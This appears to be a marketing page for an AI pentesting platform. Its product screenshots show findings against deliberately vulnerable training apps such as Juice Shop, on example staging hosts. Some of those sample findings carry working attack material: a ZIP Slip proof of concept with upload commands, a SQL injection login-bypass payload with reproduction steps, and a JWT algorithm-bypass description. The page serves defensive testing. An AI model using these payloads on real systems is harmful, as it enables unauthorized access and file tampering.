Scattered tools, one platform
The usual stack is a scanner in the pipeline, an AI pentester beside it and an engagement once a year, each with its own console and its own report. Keygraph brings all three into one place.
With Self-hosted and BYOK Deployments Available
Security posture overview
Canonical security findings across your organization
| ID | Title | Repository | Severity | CVSS | EPSS | Source | Status | R |
|---|---|---|---|---|---|---|---|---|
| KG-0E4E07 | ZIP Slip Path Traversal: Arbitrary File Write to Server File... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-090F8A | Sensitive Data in JWT Payload: MD5 Password Hash Exp... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-114331 | IDOR Write Access: Modify or Delete Any User’s Basket I... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-074374 | XML External Entity (XXE) Injection: Arbitrary File Read vi... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-855CAA | Sensitive Data Exposure: Password Hashes and DeluxeTo... | test/juice-shop | Critical | – | – | Blackbox Pentest | Open | – |
| KG-EC0DBE | Sensitive Information Disclosure: Admin Configuration E... | test/juice-shop | Medium | – | – | Blackbox Pentest | Open | – |
| KG-94ADCF | ZIP Path Traversal: Arbitrary File Write to Publicly Served... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-E2C6A5 | IDOR Write/Delete: Unauthorized Modification and Deleti... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-49777C | IDOR: Unauthorized Read Access to Any User’s Shoppin... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-417855 | Broken Access Control: Admin User Data Exposed to Cus... | test/juice-shop | High | – | – | Blackbox Pentest | Open | – |
| KG-9B50D6 | Unauthenticated FTP Directory Exposure: Sensitive Files,... | test/juice-shop | Critical | – | – | Blackbox Pentest | Open | – |
| KG-7823AD | Account Takeover via Publicly Exposed Security Question ... | test/juice-shop | Critical | – | – | Blackbox Pentest | Open | – |
| KG-0F233C | Horizontal Authorization Bypass: Email Vowel-Obfuscati... | test/juice-shop | Medium | – | – | Whitebox Pentest | Open | – |
| KG-9301D0 | Horizontal Authorization Bypass: Email Vowel-Obfuscati... | test/juice-shop | Medium | – | – | Whitebox Pentest | Open | – |
The CI pipeline fetches an installer script from a self-hosted Heroku CDN endpoint and immediately pipes it to sh for execution without any integrity verification.
POST /file-upload (accessed via /#/complain complaint form)UNSPECIFIEDTOKEN=$(python3 -c " import urllib.request, json data = json.dumps({'email': 'recon-fresh@blackbox-dast.local', 'password': 'Recon@Test2024!'})...")'../..' to escape the upload directory. python3 -c " import zipfile, io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr('../../ftp/zipslip_confirmed.md', '# ZIP Slip Confirmed\nThis file was written via ZIP Slip path traversal.\nPayload: ../../ftp/zipslip_confirmed.md\n...')curl -s -w "HTTP: %{http_code}\n" \ -X POST 'https://shop.staging.example.com/file-upload' \ -H "Authorization: Bearer $TOKEN" \ -F "file=@/tmp/evil_zipslip.zip;type=application/zip" # Expected: HTTP 204/ftp/ by accessing it directly. curl -s 'https://shop.staging.example.com/ftp/zipslip_confirmed.md' # Expected: HTTP 200 with attacker-controlled contentBB-15: ZIP Slip Path Traversal: Arbitrary File Write to Server Filesystem via /file-upload (High)
OWASP: A01:2025 – Broken Access Control Endpoint: POST /file-upload (accessed via /#/complain complaint form) Auth State: Authenticated customer (recon-fresh@blackbox-dast.local)
The file upload endpoint processes ZIP archives without sanitizing entry paths for directory traversal sequences. An authenticated customer can create a ZIP file containing an entry with a filename such as ../../ftp/attacker.md, which the server extracts to a path outside the intended upload directory. Files written to /ftp/ are immediately publicly accessible via the web. Existing files, including application files, can be overwritten. The upload directory is exactly two levels below /ftp/, making traversal trivial. Escalation to Remote Code Execution is plausible if the traversal depth is sufficient to overwrite Node.js module files or application routes.
Generates an AI-authored fix and opens it as a pull request on the target repo. You review the diff and merge it; this finding auto-resolves once the PR lands.
Auto-patch isn’t available for GitLab repositories yet.
Autonomous penetration testing across your organization
| Target | Status | Exploits | Repositories | Created | Actions |
|---|---|---|---|---|---|
https://staging.example.com Black BoxStagingExploit | RunningTesting | – | juice-shop | 33 minutes ago | ⋯ |
https://staging.example.com White BoxStagingExploit | Running | 0 exploits | juice-shop | about 2 hours ago | ⋯ |
https://staging.example.com Black BoxStagingExploit | Failed | – | – | about 1 hour ago | ⋯ |
https://shop.staging.example.com Black BoxStagingExploit | Completed | View Report | juice-shop | 6 days ago | ⋯ |
https://staging.example.com Black BoxStagingExploit | Completed | View Report | – | 6 days ago | ⋯ |
https://demo.example.com White BoxStagingExploit | Canceled | 0 exploits | juice-shop | 6 days ago | ⋯ |
View detailed results from the autonomous penetration test
$username into the email or username field$password into the password field/
/apiFocus on REST API endpoints/restFocus on user-facing routes/#/score-boardSkip the score board meta-challenge pageThis security assessment of api.staging.example.com was conducted on April 23, 2026, targeting the application's REST API surface (/rest/*) with a focus on authentication, authorization, and data handling. The assessment uncovered 66 confirmed vulnerabilities (20 critical, 25 high, 20 medium, and 1 low) reflecting systemic compromised auth posture, unauthenticated attacker control over user identifiers via SQLi, broken JWT signature verification, and high-impact authorization bypasses across multiple commerce flows. Exploits worked end-to-end in a controlled environment (autonomous orchestrator + LLM-powered analysis) and a complete remediation roadmap is included alongside reproducible PoCs.
| ID | Vulnerability | Endpoint | Severity |
|---|---|---|---|
| INJ-VULN-01 | SQL Injection Authentication Bypass | POST /rest/user/login | CRITICAL |
| INJ-VULN-02 | SQL Injection UNION-Based Data Extraction | GET /rest/products/search | CRITICAL |
| AUTH-VULN-07 | JWT Algorithm None (alg:none) Authentication Bypass | ALL isAuthorized()-protected endpoints | CRITICAL |
| AUTH-VULN-10 | Default Admin Credentials | POST /rest/user/login | CRITICAL |
| AUTH-VULN-14 | Mass Assignment Privilege Escalation (Admin Role Registration) | POST /api/Users | CRITICAL |
| AUTH-VULN-18 | SQL Injection Authentication Bypass | POST /rest/user/login | CRITICAL |
| XSS-VULN-04 | Reflected XSS via Track-Order Parameter | GET /#/track-result | HIGH |
| XSS-VULN-06 | JSONP Callback Injection · Cross-Domain Data Theft | GET /rest/user/whoami | HIGH |
{
"id": "INJ-VULN-01",
"endpoint": "POST /rest/user/login",
"payload": "' OR '1'='1'--",
"response_code": 200,
"response_signature": "demo@example.com (id=1, role=admin)",
"reproduced": true
}
Detailed vulnerability analysis and reproduction information
Send POST /rest/user/login with tautology payload in email field
The injected SQL becomes: SELECT * FROM Users WHERE email = '' OR '1'='1'--' AND password = '...'
The -- comments out the password check; SQLite returns the first row (admin, id=1)
Observe HTTP 200 response containing admin JWT token
HTTP 200 returned with admin JWT token (email: demo@example.com, role: admin, id: 1). MD5 hash 0192023a7bbd73250516f069df18b500 = admin123 confirmed via rainbow table.
View detailed results from the autonomous penetration test
Every action recorded with actor, timestamp, and source
| Time | Event Type | Subject | Actor |
|---|---|---|---|
| Apr 27, 2026 08:02:38 | appsec:SubmitBoundarySelection | juice-shop | demo@example.com |
| Apr 27, 2026 07:50:57 | appsec:TriggerBoundaryAnalysis | juice-shop | demo@example.com |
| Apr 27, 2026 07:50:29 | appsec:TriggerManualScan | juice-shop | demo@example.com |
| Apr 27, 2026 07:21:01 | appsec:TriggerManualScan | vuln-bank | demo@example.com |
| Apr 27, 2026 06:39:51 | appsec:TriggerManualScan | juice-shop | demo@example.com |
| Apr 27, 2026 05:54:14 | appsec:TriggerManualScan | dvwa | demo@example.com |
| Apr 27, 2026 05:53:42 | appsec:TriggerManualScan | juice-shop | demo@example.com |
Manage users and invitations for your organization
| Name | Status | Role | Account Type | Link Status | Actions | |
|---|---|---|---|---|---|---|
| Alex Rivera | demo@example.com | Active | Member | User | Primary | ⋯ |
| Repository | Default Branch | Group | Last Scanned | ||
|---|---|---|---|---|---|
| local-dev-kg/juice-shop | master | Unassigned | about 8 hours ago | ⋯ | |
| test/juice-shop-appsec | master | Unassigned | about 8 hours ago | ⋯ | |
| local-dev-kg/AWSGoat | master | Unassigned | about 1 month ago | ⋯ | |
| local-dev-kg/WebGoat | main | Unassigned | 3 days ago | ⋯ | |
| local-dev-kg/DVWA | master | Unassigned | 9 days ago | ⋯ | |
| local-dev-kg/dvws-node | master | Unassigned | Never scanned | ⋯ | |
| local-dev-kg/NodeGoat | master | Unassigned | 11 days ago | ⋯ | |
| local-dev-kg/railsgoat | master | Unassigned | 14 days ago | ⋯ | |
| local-dev-kg/pygoat | main | Unassigned | 13 days ago | ⋯ | |
| local-dev-kg/crAPI | develop | Unassigned | about 1 month ago | ⋯ | |
| local-dev-kg/VAmPI | master | Unassigned | Never scanned | ⋯ | |
| local-dev-kg/wrongsecrets | master | Unassigned | 25 days ago | ⋯ | |
| local-dev-kg/dvga | master | Unassigned | Never scanned | ⋯ | |
| local-dev-kg/bWAPP | master | Unassigned | Never scanned | ⋯ | |
| local-dev-kg/mutillidae | master | Unassigned | Never scanned | ⋯ |
Scans across all scan types
| Type | Target | Status | Findings | Triggered |
|---|---|---|---|---|
| SAST | local-dev-kg/juice-shopmaster · 19a3054c | Complete | 4 Critical28 High | 12 days agoManualComprehensive |
| SCA | local-dev-kg/juice-shopmaster · 19a3054c | Complete | 18 Critical28 High | 12 days agoManualComprehensive |
| SAST | local-dev-kg/bc-kotlinmain · 27f05751 | Complete | 4 High | 12 days agoManualComprehensive |
| SCA | local-dev-kg/cxfmain · 5a501cd8 | Complete | 6 Critical16 High | 12 days agoManualFast |
Static Application Security Testing scan runs
| Repository & Context | Status | Findings | Triggered | Language |
|---|---|---|---|---|
local-dev-kg/bc-kotlinmain · 27f05751 | Complete | 4 High | 12 days agoManualComprehensive | Kotlin |
local-dev-kg/bc-csharpmaster · 5200dfdf | Complete | 27 High10 Medium | 12 days agoManualComprehensive | C# |
local-dev-kg/juice-shopmaster · 19a3054c | Complete | 4 Critical28 High | 12 days agoManualComprehensive | JS |
local-dev-kg/pipline-test-repomain · 8524e5fb | Complete | 9 Critical10 High | 18 days agoManualComprehensive | JS |
local-dev-kg/driftmain · f329b1ab | Complete | 1 Critical4 High | 18 days agoManualComprehensive | Ruby |
local-dev-kg/pipline-test-repomain · 8524e5fb | Complete | 10 Critical9 High | 18 days agoManualComprehensive | JS |
local-dev-kg/driftmain · f329b1ab | Complete | 1 Critical2 High | 18 days agoManualComprehensive | Ruby |
local-dev-kg/driftmain · f329b1ab | Complete | 1 Critical2 High | 18 days agoManualComprehensive | Ruby |
Software Composition Analysis scan runs
| Repository & Context | Status | Findings | Triggered |
|---|---|---|---|
local-dev-kg/bc-kotlinmain · 27f05751 | Complete | 1 Medium | 12 days agoManualComprehensive |
local-dev-kg/bc-csharpmaster · 5200dfdf | Complete | 3 Medium | 12 days agoManualComprehensive |
local-dev-kg/cxfmain · 5a501cd8 | Complete | 6 Critical16 High | 12 days agoManualFast |
test/vectormaster · 47b5b02b | Complete | 5 Critical11 High | 12 days agoManualComprehensive |
test/grafanamain · a4dbaa56 | Complete | 1 Critical8 High | 12 days agoManualFast |
test/vuln-bankmain · 9b22a832 | Complete | 6 High14 Medium | 12 days agoManualComprehensive |
local-dev-kg/juice-shopmaster · 19a3054c | Complete | 18 Critical28 High | 12 days agoManualComprehensive |
local-dev-kg/driftmain · f329b1ab | Complete | 2 Critical7 High | 18 days agoManualComprehensive |
| Finding | Data Flow | Boundaries | Teams | Severity |
|---|---|---|---|---|
CWE-643: XPath Operator Injection via JSON-parsed URL parameter in Sequelize WHERE clause | recycles.ts:34 (col 21) | juice-shop | engineering | HIGH |
CWE-89: SQL Injection via unverified email field in login query | login.ts:34 → login.ts:55 | juice-shop | engineering | HIGH |
CWE-209: XSS via unverified URL controlled URL in profile-image fetch | profileImageUrlUpload.ts:13 → profileImageUrlUpload.ts:16 | juice-shop | engineering | HIGH |
CWE-943: NoSQL Injection via unverified request body ID in MongoDB query | b2bOrder.ts:30 → b2bOrder.ts:35 | juice-shop | engineering | HIGH |
CWE-943: NoSQL Injection via unverified request body ID in MongoDB query | b2bOrder.ts:30 → b2bOrder.ts:39 | juice-shop | engineering | HIGH |
CWE-943: NoSQL Injection via unverified request body in MongoDB query filter | b2bOrder.ts:30 → b2bOrder.ts:42 | juice-shop | engineering | HIGH |
CWE-22: Path Traversal via unverified request body file in fileRead | verifyFiles.ts:9 → verifyFiles.ts:24 | juice-shop | engineering | HIGH |
CWE-502: Unsafe deserialization via user-controlled file path in fs.read | payment.component.ts:11 → payment.component.ts:18 | juice-shop | engineering | HIGH |
CWE-89: SQL Injection via unverified search parameter in raw Sequelize query | search.ts:13 → search.ts:18 | juice-shop | engineering | HIGH |
| Finding | Location | Boundaries | Teams | Severity |
|---|---|---|---|---|
CWE-347: JWT Token Decoded Without Signature Verification | app.guard.ts:18 | juice-shop | engineering | CRITICAL |
CWE-310: SQL Injection in Authentication Query Leading to Cleartext Password Transmission | login/loginUserChallenge_4.ts:15 | juice-shop | engineering | CRITICAL |
CWE-548: Directory Listing Exposure - (well-known Directory) | directoryListing/dirIndex_4.ts:0 | juice-shop | engineering | HIGH |
CWE-1004: Insufficient Random Password Generation Using Base64 Encoding of Reversed Email | auth/component_2.ts:18 | juice-shop | engineering | HIGH |
CWE-328: Use of Weak Hash Function (Base64) for Password Generation | auth/component_3.ts:18 | juice-shop | engineering | HIGH |
CWE-614: Authentication Token Cookie Missing Secure Flag | payment.component.ts:11 | juice-shop | engineering | HIGH |
CWE-614: Authentication Token Cookie Missing Secure Flag | two-factor-auth-enter.component.ts:14 | juice-shop | engineering | HIGH |
CWE-327: Weak HMAC Secret Key - Hardcoded For 2FA Authentication | 2fa/totp_5.ts:5 | juice-shop | engineering | HIGH |
CWE-326: Hardcoded RSA Private Key in Source Code | cryptUtils.ts:14 | juice-shop | engineering | HIGH |
CWE-693: Predictable RSA Private Key for Security Sensitive Data | cryptUtils.ts:18 | juice-shop | engineering | HIGH |
CWE-565: Missing CSRF Protection on State-Changing Endpoint Verdict Acknowledgment | checkVerdict.ts:25 | juice-shop | engineering | HIGH |
CWE-213: excessive-data-exposure in routes/authenticatedUsers.ts:25 | authenticatedUsers.ts:25:0 | juice-shop | engineering | HIGH |
CWE-20: missing-input-validation in routes/b2bOrder.ts:19 | b2bOrder.ts:19:0 | juice-shop | engineering | HIGH |
CWE-770: missing-rate-limit in routes/search.ts:23 | search.ts:23:0 | juice-shop | engineering | HIGH |
CWE-770: missing-rate-limit in routes/b2bOrder.ts:17 | b2bOrder.ts:17:0 | juice-shop | engineering | HIGH |
CWE-770: missing-rate-limit in routes/chatbot.ts:205 | chatbot.ts:205:0 | juice-shop | engineering | HIGH |
CWE-770: missing-rate-limit in routes/dataExports.ts:16 | dataExports.ts:16:0 | juice-shop | engineering | HIGH |
CWE-770: missing-rate-limit in routes/search.ts:23 | search.ts:23:0 | juice-shop | engineering | HIGH |
CWE-639: bola in routes/basket.ts:0 | basket.ts:0 | juice-shop | engineering | HIGH |
CWE-915: mass-assignment in server.ts:0 | server.ts:0 | juice-shop | engineering | HIGH |
CWE-269: privesc in server.ts:0 | server.ts:0 | juice-shop | engineering | HIGH |
| Finding | Data Flow | Boundaries | Teams | Severity |
|---|---|---|---|---|
CWE-287: Authentication Bypass in changeProduct | server.ts:0 → server.ts:0 | juice-shop | engineering | CRITICAL |
CWE-287: Authentication Bypass in changePassword | changePassword.ts:0 → changePassword.ts:0 | juice-shop | engineering | HIGH |
CWE-287: Authentication Bypass in updateProductReview | updateProductReviews.ts:0 → updateProductReviews.ts:0 | juice-shop | engineering | HIGH |
CWE-285: Authorization Bypass in orderHistory | orderHistory.ts:0 → orderHistory.ts:0 | juice-shop | engineering | HIGH |
CWE-287: Authentication Bypass in collectorWebReader | recyclewebreader.ts:0 → recyclewebreader.ts:0 | juice-shop | engineering | HIGH |
CWE-287: Authentication Bypass in serviceFlow | services.ts:0 → services.ts:0 | juice-shop | engineering | HIGH |
CWE-287: Authentication Bypass in deliveryService | deliveryMethod.ts:0 → deliveryMethod.ts:0 | juice-shop | engineering | HIGH |
CWE-639: Insecure Direct Object Reference in trackOrder | trackOrder.ts:0 → trackOrder.ts:0 | juice-shop | engineering | HIGH |
CWE-639: Insecure Direct Object Reference in couponCheck | couponcheck.ts:0 → couponcheck.ts:0 | juice-shop | engineering | HIGH |
CWE-287: Authentication Bypass in forgotFeedback challenge | feedbackChallenge.ts:0 → feedbackChallenge.ts:0 | juice-shop | engineering | HIGH |
CWE-287: Authentication Bypass in N/A (finds auto-generated) | N/A:0 → N/A:0 | juice-shop | engineering | HIGH |
| Package | Reachability | Dependency | Recommendation | Boundaries | Teams |
|---|---|---|---|---|---|
marsdb@0.6.11 npm | Reachable (1 of 2) | Direct | , | juice-shop | engineering |
jsonwebtoken@0.4.0 npm | Reachable (2 of 4) | Direct | cd appsec/scans/appsec-ba… | juice-shop | engineering |
vm2@3.9.17 npm | Reachable (1 of 5) | Transitive | cd appsec/scans/appsec-ba… | , | , |
express-jwt@0.1.3 npm | Reachable | Direct | cd appsec/scans/appsec-ba… | juice-shop | engineering |
sanitize-html@1.4.2 npm | Reachable (2 of 7) | Direct | cd appsec/scans/appsec-ba… | juice-shop | engineering |
Update jsonwebtoken from version 0.4.0 to version 4.2.2 or later.
cd appsec/scans/appsec-baseline-scans/8eed4fb4-4809-40b8-9769-f662decd9741/repo && npm install jsonwebtoken@4.2.2
jsonwebtoken@0.4.0 does not validate the JWT algorithm during jwt.verify(), enabling both the alg:none bypass and an RS256→HS256 algorithm confusion attack. The codebase calls jwt.verify(token, publicKey, callback) without an algorithms allowlist in three production files.
jsonwebtoken@0.4.0 is called via jwt.verify() in three production routes without restricting the allowed algorithm. An attacker can craft a forged JWT signed with HS256 using the RSA public key as the HMAC secret, which the library will accept as valid, completely bypassing authentication.
Versions ≤8.5.1 of jsonwebtoken library could be misconfigured so that legacy, insecure key types are used for signature verification.
In versions ≤8.5.1 of jsonwebtoken library, lack of algorithm definition and a falsy secret or key in the jwt.verify() call could lead to signature validation bypass.
| Description | Location | CWE | Severity |
|---|---|---|---|
Hardcoded OAuth 2.0 Access Token Exposure in URL Parameter | frontend/src/app/Services/user.service.ts:60 | CWE-798 | HIGH |
Hardcoded Ethereum Mnemonic Phrase in Source Code | routes/checkKeys.ts:7 | CWE-798 | HIGH |
Hardcoded Alchemy API Key in WebSocket Provider | routes/nftMint.ts:9 | CWE-798 | HIGH |
Hardcoded Alchemy API Key in Production Code | routes/web3Wallet.ts:9 | CWE-798 | HIGH |
Define how many days your team has to remediate vulnerabilities after detection. SLA deadlines appear on each finding and drive the compliance chart on your dashboard.
Repositories and pentest profiles your org is monitoring
| Profile | Env | Target URL | Repos | Scans | Last Scanned | ||
|---|---|---|---|---|---|---|---|
| tmp 2 juice shop | Staging | https://staging.example.com | 1 | 6 | 1 day ago | Scan | ⋯ |
| tmp juice shop | Staging | https://shop.staging.example.com | 1 | 4 | 6 days ago | Scan | ⋯ |
| Juice Shop | Staging | https://demo.example.com | 1 | 8 | 6 days ago | Scan | ⋯ |
| Test | Staging | https://demo.example.com | 1 | 3 | 11 days ago | Scan | ⋯ |
Repositories and pentest profiles your org is monitoring
| Repository | Default Branch | Group | Boundaries | Last Scanned | |||
|---|---|---|---|---|---|---|---|
| local-dev-kg/AWSGoat | master | Unassigned | None | 12 days ago | Scan | ⋯ | |
| local-dev-kg/bc-csharp | master | Unassigned | None | 12 days ago | Scan | ⋯ | |
| local-dev-kg/bc-java | main | Unassigned | None | about 2 months ago | Scan | ⋯ | |
| local-dev-kg/bc-kotlin | main | Unassigned | None | 12 days ago | Scan | ⋯ | |
| local-dev-kg/boundaries-ex | main | Unassigned | 7 boundaries | about 1 month ago | Scan | ⋯ | |
| local-dev-kg/cxf | main | Unassigned | None | 12 days ago | Scan | ⋯ | |
| test/documenso | main | Unassigned | None | Never scanned | Scan | ⋯ | |
| local-dev-kg/drift | main | Unassigned | None | 18 days ago | Scan | ⋯ | |
| local-dev-kg/dvws-node | master | Unassigned | None | Never scanned | Scan | ⋯ | |
| test/elasticsearch | main | Unassigned | None | Never scanned | Scan | ⋯ | |
| local-dev-kg/elasticsearch-test | main | Unassigned | None | Never scanned | Scan | ⋯ |
public · PHP · master
Your team ships code daily, but your pentest only happens once a year. The Keygraph platform closes the 364-day gap: automated penetration testing on every build, and no finding reported without a working exploit.
The scanner, the AI pentester and the yearly engagement, brought into one place and run at whatever depth you choose.
One run, every layer
The running app, its source, its dependencies and its secrets, tested together in one run, not scattered across separate tools.
Proven, then reported
Every finding carries a working exploit, in one report built to be accepted by auditors.
The usual stack is a scanner in the pipeline, an AI pentester beside it and an engagement once a year, each with its own console and its own report. Keygraph brings all three into one place.
Agentic pentesting now runs at the speed and cost of the pipeline, so the pentest no longer waits for the annual engagement.
The AppSec suite and the pentest are one run, on every pull request or for the full engagement, and every depth ends in the same proven report.
(No Exploit, No Report.)
The engine is an enhanced build of Shannon, our open-source AI pentester: agents read your source, plan attacks against it, and resolve each hypothesis by attempting a working exploit. Pre-Recon reads the repository, Recon confirms it against the live app, then five domain specialists analyze and exploit in parallel, with a sixth exploit agent for findings outside those classes.
In-scope findings from the static scans are mapped CWE to OWASP, queued as exploitation targets, and linked back to the original finding once proven.
Whitebox Pentester →Point the Keygraph platform at a URL and let it attack, with no source code access, ever. WhatWeb fingerprints the stack, Playwright-driven automation enumerates endpoints, and mitmproxy captures the traffic, from which an OpenAPI specification can be generated.
A strategy agent then selects a hypothesis and dispatches exploit agents to test it in a real browser. Testing stops when confidence plateaus, not when a counter runs out.
Blackbox Pentester →Your codebase compiles into a Code Property Graph: AST, control flow and data flow in one structure. The analyzer traces backward from every sink, and at each node an LLM evaluates whether the specific sanitization actually addresses the specific risk in that context.
An agent then checks each candidate path for control-flow and logic feasibility, so what advances is a traced source-to-sink path rather than a line number.
Agentic SAST →Pattern matching sweeps the working tree and commit history: configs, environment files, scripts, CI/CD pipelines, application source. Every candidate is then re-read by an LLM against the surrounding code, separating live credentials from placeholders, fixtures and documentation examples.
Entropy analysis catches base64 and hex payloads matching no known signature, and each confirmed secret is classified by blast radius.
Secrets Scanning →Legacy SCA matches lockfile versions against advisories and reports what is present. Here a research agent extracts the exact vulnerable function from each advisory, the Code Property Graph is queried for a real call site, and a forward walk from application entry points confirms the code can execute.
Severity is rewritten from that evidence: not reachable drops to Low, and reachable CVEs become exploit targets for the pentest.
SCA with reachability →Confirmed findings arrive with reproduction steps and a proposed fix as a labeled pull request. You review, you merge. Nothing is auto-applied to your code.
After the patch the same exploit runs again. A finding closes when the attack that proved it stops working, and the record of both runs stays with the finding.
Code Remediation →Structured results
A finding ships only when an exploit proved it.
Every module is a product you can run on its own. Use one at a time where speed and cost matter most, and the full run where depth does.
Blackbox, whitebox, SAST, SCA and secrets each run as a scan type of their own. Point a lighter, cheaper model at one of them and it is fast enough for every pull request, which is where most of the value is at scale.
The modules are built to feed each other. Static analysis and the whitebox engine surface different candidates, one queue merges them, and the exploitation agents work that whole queue against the running application. That combination is what makes the full run a different kind of pentest, rather than a scanner with an exploit step bolted on.
Whichever you run, the same closure comes with it: findings deduplicated so you triage once, remediation as a reviewable pull request, Jira sync, and a pentest report built to be accepted by auditors.
A Keygraph run reads the code before it touches the app, holds the static findings back, then proves them. Static candidates and live reconnaissance meet in one exploitation queue, and only what an exploit confirms is filed as a pentest finding.
Phase 1 · Pre-Recon
A code analyst maps the repository end to end: entry points, auth flows, database access and security sinks. Static reasoning only, with no browser involved yet, so the run knows the shape of the application before it sends a request.
SAST, SCA, Secrets
The static stream produces candidates, not verdicts. A static finding becomes a pentest finding only after the whitebox pentest proves it against the running app, and anything never exploited is reported in its own lane instead.
Phase 2 · Recon
A recon specialist crawls the running application to confirm endpoints, forms and auth boundaries. What the code implied is checked against what the deployment actually exposes, before any exploitation is attempted.
Phase 3 · Vulnerability analysis
Injection, XSS, Auth, SSRF and Authz each get their own specialist, and the five work in parallel. Each one reads the source for its own domain and produces its own candidates, rather than waiting on a single shared pass.
Phase 4 · Exploitation
Those candidates, together with any from agentic code analysis, are merged and deduplicated into a queue per domain. In-scope static findings cross over, mapped from CWE to OWASP, and each analyst hands off to a paired exploiter.
See the five-phase run →Phase 5 · Reporting
A reporting agent synthesizes validated exploits with reproduction steps and severity, and drops the speculative ones. Remediation starts when you click a finding: the fix arrives as a reviewable pull request, then the original exploit is replayed to decide whether it closes.
Static analysis finds the candidates. The pentest is what proves them.
Inference runs under your own provider account, so the key and the model bill are both yours. Run the open-source engine and Keygraph never receives your source and never proxies your model traffic.
Bring your own key. Model access is always your own key and your own provider account, on the Keygraph platform and in Shannon. Because inference runs under your account, the provider's retention terms are yours to set.
The Keygraph platform deduplicates SAST, SCA, Secrets, and Whitebox results into a single canonical entry per vulnerability per repository, surfaced on a live security dashboard and synced bidirectionally with Jira. Each entry retains its evidence and status: identified, validated, recorded.
Explore Reporting & Analytics →Content-hash plus LLM semantic matching. One entry per vulnerability per repo, persistent across refactors.
Live KPIs alongside risk, velocity, SLA, and MTTR trend charts. Drill down by repo, team, or severity.
One-click ticket creation, 15-minute status refresh, hourly drift sweep on linked pairs.
Click a confirmed finding in the Keygraph platform. An agent reads the evidence, writes the fix, and re-runs the original scanner to prove the vulnerability is gone. The verified patch lands as a reviewable pull request in your existing workflow: your team chooses and tracks the risk response, and nothing is auto-applied.
Explore Code Remediation →Same scanner re-runs against the patched code. No patch is delivered unless the original vulnerability is gone.
Patches attributed to a clearly labeled Keygraph bot, landing in your existing GitHub, GitLab, or Azure DevOps workflow. Never auto-applied.
Patching runs only when someone clicks a finding. It never starts on its own, and it never reverts anything.
Every run already produces a pentest report built to be accepted by auditors, with finding tables that carry each fix through to its verification. When an audit wants a human signature on top, the attestation layers onto that pentest, signed by a security team that works separately from the engineers who build the platform.
One signed document
Findings you choose not to fix appear in the report with their status, so nothing is hidden from your auditor.
Typically one week, kickoff to sign-off
Priced as a flat one-time fee, with your remediation timeline left entirely to you. At the next audit cycle, re-attestation runs the same way against a fresh pentest.
Confirmed in writing
A SOC 2 audit firm confirmed to Keygraph in writing that an AI-generated pentest is acceptable evidence, on two conditions. The report identifies the vulnerabilities in the application under test, and every finding carries a severity ranking.
Attestation →
PCI-DSS

FedRAMP
GLBA
Safeguards Rule
NYDFS
Part 500
DORA
TLPT
CMMC
Level 3
Your own audits
SOC 2 and ISO 27001 audits expect penetration test evidence, which is the gap the signed attestation fills. Alongside it, the findings history logs each vulnerability with timestamp and author as audit-ready evidence for pentest and vulnerability-scanning requirements.
Attestation →Separate from your audit
This one is about Keygraph, not about you. Keygraph's own SOC 2 Type II report is available under NDA, and the Code Security Posture page sets out the controls the platform applies to your source code.
Code Security Posture →Deploys entirely inside your AWS, GCP, or Azure account. Source and scan results stay inside your security perimeter, and inference runs against the model endpoint you choose, including one inside your own account. No managed control plane. No externally operated data plane.
See the Enterprise platform →Run the entire platform inside your VPC. Fully air-gapped, with inference from a model endpoint inside your boundary.
SAML 2.0 or OIDC for sign-in. SCIM for automated user provisioning and deprovisioning.
GitHub, GitLab, Azure DevOps, and two-way Jira sync, plus CI gating in GitHub Actions and Azure DevOps Pipelines.
Keygraph Cloud is held to the same standard as a self-hosted install, with regional isolation, and Keygraph's own SOC 2 Type II report is available under NDA. Self-hosted and air-gapped installs exist because many security teams have to keep everything inside their own boundary, and the whole platform runs that way, proof of concept included. Whichever you pick, the run happens in an ephemeral container on read-only scopes.
| What you hold | Keygraph Cloud | Self-hosted | Air-gapped |
|---|---|---|---|
| Operated by | Keygraph | You | You |
| Runs on | Keygraph's AWS, US or EU region | Your AWS, GCP or Azure account | Your network, isolated |
| Findings store | Keygraph tenant, encrypted at rest | Your Postgres, your keys | Your Postgres, your keys |
| Model endpoint | Your key, your provider account | Your key, your provider account | An endpoint inside your boundary |
| Your source | Ephemeral memory, discarded after the scan | Ephemeral memory, discarded after the scan | Ephemeral memory, discarded after the scan |
| What is kept | Only the finding record, with a redacted snippet | Only the finding record, in your database | Only the finding record, in your database |
| Model training | Never on your code or findings | Never on your code or findings | Never on your code or findings |
| Access | Read-only; write only for a fix you open | Read-only; write only for a fix you open | Read-only; write only for a fix you open |
| Sign-in | SAML 2.0 or OIDC | Your IdP, SAML 2.0 or OIDC | Your IdP, SAML 2.0 or OIDC |
| Updates and licensing | Managed continuously | Applied on your schedule | Signed artifacts, validated inside your network |
Every deployment runs the same engine. What changes is who holds the keys, the data and the schedule.
Three Shannon 3.0 runs, one per model, against the Photoview 2.4.0 deployment Doyensec tested, with admin credentials only. Every run is published with a downloadable report and a SARIF file.
$6.10
Model tokens for the cheapest of the three runs.
3 of 3
Runs that caught the critical pre-auth SQL injection at CVSS 9.8.
6 of 7
Vulnerabilities Photoview patched after 2.4.0, caught by the Claude Opus 5 run.
SARIF 2.1.0
Written by default in exploit mode, so findings land in GitHub code scanning or GitLab's vulnerability report.
Keygraph came out of problems its own team kept running into, and it is built to be used before it is bought. Start with Shannon today. When you are ready for the platform, a proof of concept runs it on your own code with our engineers, cloud-hosted or self-hosted in your own account.
No signup, no account
Shannon is the whitebox pentesting engine inside the Keygraph platform, and it writes its reports the way the platform does. Run it against your own code with Docker, Node.js 18+ and your own model key. If you like what it finds, the platform adds SAST, SCA and secrets, one queue across all of them, remediation pull requests, and runs on every build.
# Configure credentials with the interactive wizard. $ npx @keygraph/shannon@latest setup # Run a pentest against a source-available target. $ npx @keygraph/shannon@latest start -u https://your-app.com -r /path/to/your-repo
The engine, run by you.
The full Pro plan for early-stage startups and nonprofits.
The full Keygraph platform, cloud-hosted and managed.
The full Keygraph platform, in your own environment.
A seat is a person who changed a monitored repository and still has access. Bots, read-only users and anyone who has lost access are excluded, and scans, pentests, findings and tokens are never metered.
The Community Program, Pro and Enterprise all include every module with no add-ons. A plan decides where the platform runs and how it is supported, never what it can test.
